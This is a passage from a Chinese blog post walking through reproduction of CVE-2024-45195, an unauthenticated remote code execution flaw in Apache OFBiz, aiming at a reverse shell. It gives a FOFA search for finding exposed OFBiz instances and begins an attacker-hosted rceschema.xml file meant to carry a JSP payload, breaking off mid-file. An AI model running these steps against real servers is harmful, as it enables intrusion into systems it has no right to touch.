CVE-2024-45195漏洞复现并反弹shell（Apache OFBiz 未授权远程代码执行漏洞）

最新推荐文章于 2025-01-23 13:47:50 发布

空k

最新推荐文章于 2025-01-23 13:47:50 发布

阅读量1.1k

点赞数 7

分类专栏： CVE漏洞复现文章标签： apache 网络安全

本文链接：https://blog.csdn.net/yyytaotao/article/details/142179065

版权

本文利用了一个云服务器来远程代码执行并反弹shell.

远程代码执行

首先找目标资产，在fofa上直接搜app="Apache_OFBi
在这里插入图片描述

然后在我们的云服务器中创建两个文件：

rceschema.xml

<data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
        <data-file name="rce" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8">
            <record name="rceentry" limit="many">
                <field name="jsp" type="String" length="605" position="0"></field>